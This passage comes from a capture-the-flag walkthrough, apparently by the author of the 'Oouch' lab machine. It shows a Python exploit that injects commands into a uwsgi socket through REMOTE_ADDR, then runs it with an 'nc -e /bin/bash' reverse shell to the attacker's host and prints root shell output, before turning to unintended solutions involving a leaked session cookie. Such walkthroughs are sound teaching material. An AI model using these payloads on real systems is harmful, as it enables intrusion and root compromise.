class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">csrf_token, session_id, payload<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">:<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s5\">'''<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> Final exploit function. Simply defines the necessary uwsgi parameters and inserts our malicious payload.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> Parameters:<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> csrf_token (String) Since the exploit uses the contact form, we need a valid CSRF Token.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> session_id (String) The contact form can only be used by authenticated users.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> payload (String) This is the command that is executed.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> Returns:<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> None<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> '''<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> body = f<\/span><span class=\"enlighter-s0\">'csrf_token={csrf_token}&amp;textfield=&lt;script&gt;&amp;submit=Send'<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> var = <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">'SERVER_PROTOCOL'<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-s0\">'HTTP\/1.1'<\/span><span class=\"enlighter-text\">,<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">'PATH_INFO'<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-s0\">'\/contact'<\/span><span class=\"enlighter-text\">,<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">'REQUEST_METHOD'<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-s0\">'POST'<\/span><span class=\"enlighter-text\">,<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">'REQUEST_URI'<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-s0\">'\/contact'<\/span><span class=\"enlighter-text\">,<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-c0\"> # For some reason one needs to define the body twice. No idea why...<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">'DOCUMENT_BODY'<\/span><span class=\"enlighter-text\">: f<\/span><span class=\"enlighter-s0\">'csrf_token={csrf_token}&amp;textfield=&lt;script&gt;&amp;submit=Send'<\/span><span class=\"enlighter-text\">,<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">'HTTP_HOST'<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-s0\">'consumer.oouch.htb:5000'<\/span><span class=\"enlighter-text\">,<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">'CONTENT_LENGTH'<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-m0\">str<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-m0\">len<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">body<\/span><span class=\"enlighter-g1\">))<\/span><span class=\"enlighter-text\">,<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">'CONTENT_TYPE'<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-s0\">\"application\/x-www-form-urlencoded\"<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> var<\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-s0\">'HTTP_COOKIE'<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"> = f<\/span><span class=\"enlighter-s0\">'session={session_id}'<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> var<\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-s0\">'SERVER_NAME'<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"> = <\/span><span class=\"enlighter-s0\">'consumer.oouch.htb'<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> var<\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-s0\">'SERVER_PORT'<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"> = <\/span><span class=\"enlighter-s0\">\"5000\"<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> var<\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-s0\">'REMOTE_ADDR'<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\">= f<\/span><span class=\"enlighter-s0\">'8.8.8.8; {payload} #'<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> result = <\/span><span class=\"enlighter-m0\">send_to_uwsgi<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">addr=<\/span><span class=\"enlighter-s0\">'\/tmp\/uwsgi.socket'<\/span><span class=\"enlighter-text\">, var=var, body=body<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">print<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">result<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k1\">if<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">len<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">sys.argv<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> != <\/span><span class=\"enlighter-n1\">4<\/span><span class=\"enlighter-text\">:<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">print<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">f<\/span><span class=\"enlighter-s0\">'[-] {sys.argv[0]} &lt;CSRF_TOKEN&gt; &lt;SESSION_ID&gt; &lt;CMD&gt;'<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> sys.<\/span><span class=\"enlighter-m1\">exit<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-m0\">exploit<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">sys.argv<\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\">, sys.argv<\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-n1\">2<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\">, sys.argv<\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-n1\">3<\/span><span class=\"enlighter-g1\">])<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>If there is really a command injection vulnerability inside the<span>\u00a0<\/span><em>DBus<span>\u00a0<\/span><\/em>server application, we should be able to execute a reverse shell by running the following command:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">qtc@72ddb6be7ede:\/tmp$ python3 exploit.py <\/span><span class=\"enlighter-s0\">'ImM[...]'<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">'.eJwl[...]'<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">'nc -e \/bin\/bash 10.10.14.37 4444'<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">b<\/span><span class=\"enlighter-s0\">'\\x00.\\x03\\x00\\x0f\\x00SERVER_PROTOCOL\\x08\\x00HTTP\/1.1\\t\\x00PATH_INFO\\x08\\x00\/contact\\x0e\\x00REQUEST_METHOD\\x04\\x00POST\\x0b\\x00REQUEST_URI\\x08\\x00\/contact\\r\\x00DOCUMENT_BODY\\x85\\x00csrf_token=ImM5ODEyYzhkMWNlZTg5N2UzNjljYmUyN2Q5OGFhYWNhMWFkN2NhNTMi.XW-TTA.4w1H-kcFYQwefQQqACKt_mONVXU&amp;textfield=&lt;script&gt;&amp;submit=Send\\t\\x00HTTP_HOST\\x17\\x00consumer.oouch.htb:5000\\x0e\\x00CONTENT_LENGTH\\x03\\x00133\\x0c\\x00CONTENT_TYPE!\\x00application\/x-www-form-urlencoded\\x0b\\x00HTTP_COOKIER\\x01session=.eJwlT8tqwzAQ_BWhcyhePXalfEXvJYTN7io2deNiOaeQf6-gp2GYBzMvf20r99m6P3-9vDsG-B_rne_mT_5zNe7m1u3uloc7NsciQ3THvHT3Ozwf_vK-nEbJbn3252N_2mCL-rMH0Rwy1lBi1RrJgnCcahGWnFqpSFBAUEpCyylUnBC4pZaRKSgEpYIpEwGKtsgE1agQZiQGYwio0mqeUjIwiI2FVSlyKkZ6i0HGfOl7ux7btz3GHqkFghQFMSuVLGKVmwXSWphHGlhJOMeRe3bb_08E__4DP1BWKA.XW-E2g.egx_yfQSUOEVa_sCL4Qz0QJSUfk\\x0b\\x00SERVER_NAME\\x12\\x00consumer.oouch.htb\\x0b\\x00SERVER_PORT\\x04\\x005000\\x0b\\x00REMOTE_ADDR-\\x008.8.8.8; \/usr\/bin\/nc -e \/bin\/bash -vlp 4444 #csrf_token=ImM5ODEyYzhkMWNlZTg5N2UzNjljYmUyN2Q5OGFhYWNhMWFkN2NhNTMi.XW-TTA.4w1H-kcFYQwefQQqACKt_mONVXU&amp;textfield=&lt;script&gt;&amp;submit=Send'<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>And on our netcal listener we receive finally our root shell:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">pentester@kali ~<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\">$ nc -vlp <\/span><span class=\"enlighter-n1\">4444<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Ncat: Version 7.<\/span><span class=\"enlighter-n1\">80<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\"> https:\/\/nmap.org\/ncat <\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Ncat: Listening <\/span><span class=\"enlighter-k9\">on<\/span><span class=\"enlighter-text\"> :::<\/span><span class=\"enlighter-n1\">4444<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Ncat: Listening <\/span><span class=\"enlighter-k9\">on<\/span><span class=\"enlighter-text\"> 0.0.0.<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">4444<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Ncat: Connection from 10.10.10.177.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Ncat: Connection from 10.10.10.<\/span><span class=\"enlighter-n1\">177<\/span><span class=\"enlighter-text\">:59538.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">id<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">uid=<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">root<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> gid=<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">root<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> groups=<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">root<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">ls -la<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">total <\/span><span class=\"enlighter-n1\">76<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">drwx------ <\/span><span class=\"enlighter-n1\">6<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">4096<\/span><span class=\"enlighter-text\"> Feb <\/span><span class=\"enlighter-n1\">25<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">12<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">31<\/span><span class=\"enlighter-text\"> .<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">drwxr-xr-x <\/span><span class=\"enlighter-n1\">18<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">4096<\/span><span class=\"enlighter-text\"> Feb <\/span><span class=\"enlighter-n1\">11<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">17<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">51<\/span><span class=\"enlighter-text\"> ..<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">lrwxrwxrwx <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">9<\/span><span class=\"enlighter-text\"> Feb <\/span><span class=\"enlighter-n1\">11<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">18<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">34<\/span><span class=\"enlighter-text\"> .bash_history -<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\"> \/dev\/null<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">-rw-r--r-- <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">570<\/span><span class=\"enlighter-text\"> Jan <\/span><span class=\"enlighter-n1\">31<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">2010<\/span><span class=\"enlighter-text\"> .bashrc<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">drwxr-xr-x <\/span><span class=\"enlighter-n1\">3<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">4096<\/span><span class=\"enlighter-text\"> Feb <\/span><span class=\"enlighter-n1\">11<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">18<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">34<\/span><span class=\"enlighter-text\"> .cache<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">-rw-r--r-- <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">334<\/span><span class=\"enlighter-text\"> Feb <\/span><span class=\"enlighter-n1\">11<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">18<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">34<\/span><span class=\"enlighter-text\"> credits.txt<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">-rwxr-xr-x <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">17904<\/span><span class=\"enlighter-text\"> Feb <\/span><span class=\"enlighter-n1\">11<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">18<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">34<\/span><span class=\"enlighter-text\"> dbus-server<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">-rw-r--r-- <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">4876<\/span><span class=\"enlighter-text\"> Feb <\/span><span class=\"enlighter-n1\">11<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">18<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">34<\/span><span class=\"enlighter-text\"> dbus-server.c<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">-rw-r--r-- <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\"> Jun <\/span><span class=\"enlighter-n1\">30<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">09<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">32<\/span><span class=\"enlighter-text\"> get_pwnd.log<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">-rwxr-xr-x <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">7121<\/span><span class=\"enlighter-text\"> Feb <\/span><span class=\"enlighter-n1\">23<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">15<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">08<\/span><span class=\"enlighter-text\"> get_pwnd.py<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">drwx------ <\/span><span class=\"enlighter-n1\">3<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">4096<\/span><span class=\"enlighter-text\"> Feb <\/span><span class=\"enlighter-n1\">11<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">18<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">33<\/span><span class=\"enlighter-text\"> .gnupg<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">drwxr-xr-x <\/span><span class=\"enlighter-n1\">3<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">4096<\/span><span class=\"enlighter-text\"> Feb <\/span><span class=\"enlighter-n1\">25<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">12<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">31<\/span><span class=\"enlighter-text\"> .local<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">-rw-r--r-- <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">148<\/span><span class=\"enlighter-text\"> Aug <\/span><span class=\"enlighter-n1\">17<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">2015<\/span><span class=\"enlighter-text\"> .profile<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">-rw------- <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">33<\/span><span class=\"enlighter-text\"> Jun <\/span><span class=\"enlighter-n1\">30<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">07<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">11<\/span><span class=\"enlighter-text\"> root.txt<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">drwxr-xr-x <\/span><span class=\"enlighter-n1\">2<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">4096<\/span><span class=\"enlighter-text\"> Feb <\/span><span class=\"enlighter-n1\">13<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">06<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">49<\/span><span class=\"enlighter-text\"> .ssh<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">cat root.txt | wc -c <\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">33<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>Here we go! Remember, even on internal interfaces like<span>\u00a0<\/span><em>DBus<span>\u00a0<\/span><\/em>one should always perform strict validation on user controlled input!<\/p>\n<h2 id=\"unintended-soltuions\">5.0 \u2013 Unintended Solutions<\/h2>\n<p>As mentioned earlier, building intentionally vulnerable machines is a hard business and unintended ways are very common.<span>\u00a0<\/span><em>Oouch<span>\u00a0<\/span><\/em>is no exception and there are two unintended ways I\u2019m aware of. Fortunately, both of them only allow you to cut some corners and do not provide a full bypass around the intended solution. So let me explain what went wrong.<\/p>\n<h3 id=\"cookie-scope\">5.1 \u2013 Cookie Scope<\/h3>\n<p>As demonstrated above, the intended solution to obtain the ssh private key from<span>\u00a0<\/span><em>qtc<span>\u00a0<\/span><\/em>was to register a consumer application and trick<span>\u00a0<\/span><em>qtc<span>\u00a0<\/span><\/em>to authorize it for the<span>\u00a0<\/span><em>authorization_code<span>\u00a0<\/span><\/em>flow. However, looking back to the incoming request from<span>\u00a0<\/span><em>qtc<\/em>, there is some additional information one can obtain. Above I only showed you the incoming request using a Python webserver, but with a<span>\u00a0<\/span><em>netcat<span>\u00a0<\/span><\/em>listener, one can identify that<span>\u00a0<\/span><em>qtc\u2019s<span>\u00a0<\/span><\/em>request contains a cookie:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">pentester@kali ~<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\">$ nc -vlp <\/span><span class=\"enlighter-n1\">8000<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Ncat: Version 7.<\/span><span class=\"enlighter-n1\">80<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\"> https:\/\/nmap.org\/ncat <\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Ncat: Listening <\/span><span class=\"enlighter-k9\">on<\/span><span class=\"enlighter-text\"> :::<\/span><span class=\"enlighter-n1\">8000<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Ncat: Listening <\/span><span class=\"enlighter-k9\">on<\/span><span class=\"enlighter-text\"> 0.0.0.<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">8000<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Ncat: Connection from 10.10.10.177.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Ncat: Connection from 10.10.10.<\/span><span class=\"enlighter-n1\">177<\/span><span class=\"enlighter-text\">:37598.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">GET<\/span><span class=\"enlighter-text\"> \/token?code=lwyFbzBWLPdyctVW68nHJc0DE2XJ1z <\/span><span class=\"enlighter-e3\">HTTP<\/span><span class=\"enlighter-text\">\/1.<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Host: 10.10.14.<\/span><span class=\"enlighter-n1\">37<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">8000<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k9\">User<\/span><span class=\"enlighter-text\">-Agent: python-requests\/2.21.<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Accept-Encoding: gzip, deflate<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Accept: *\/*<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Connection: keep-alive<\/span><\/div>\n<\/div>\n<div class=\"enlighter-special\">\n<div><span class=\"enlighter-text\">Cookie: sessionid=hqbmi2qaqf3y8wlodshthr782o7uy0bi<\/span><span class=\"enlighter-c0\">;<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>This is the session cookie of<span>\u00a0<\/span><em>qtc<span>\u00a0<\/span><\/em>for the authorization server and obtaining this one as the consumer application is of course not realistic. The issue is caused by the Python script I used to simulate the requests from<span>\u00a0<\/span><em>qtc<\/em>.<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k1\">if<\/span><span class=\"enlighter-text\"> authorization_urls:<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> authorization_cookie = <\/span><span class=\"enlighter-m0\">login_authorization<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">'qtc'<\/span><span class=\"enlighter-text\">, f<\/span><span class=\"enlighter-s0\">'{password}'<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">visit_them<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">authorization_urls, <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-s0\">'sessionid'<\/span><span class=\"enlighter-text\"> : authorization_cookie<\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\">, timeout=<\/span><span class=\"enlighter-n1\">15<\/span><span class=\"enlighter-g1\">)<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>When building the machine I decided against the usage of a<span>\u00a0<\/span><code>requests.Session<\/code><span>\u00a0<\/span>object and instead chose to handle the session management manually. Above you can see, that the script just performs a simple login and then visits all<span>\u00a0<\/span><code>authorization_urls<\/code><span>\u00a0<\/span>with the corresponding cookie. What I did not expect is<span>\u00a0<\/span><code>requests<\/code><span>\u00a0<\/span>to send this cookie also when being redirected, but this is exactly what happens on<span>\u00a0<\/span><em>Oouch<\/em>.<\/p>\n<p>How can we profit from the cookie? Well, even with<span>\u00a0<\/span><em>qtc\u2019s<span>\u00a0<\/span><\/em>cookie you do not have direct access to the<span>\u00a0<\/span><code>\/api\/get_ssh<\/code><span>\u00a0<\/span>endpoint. However, you can take a 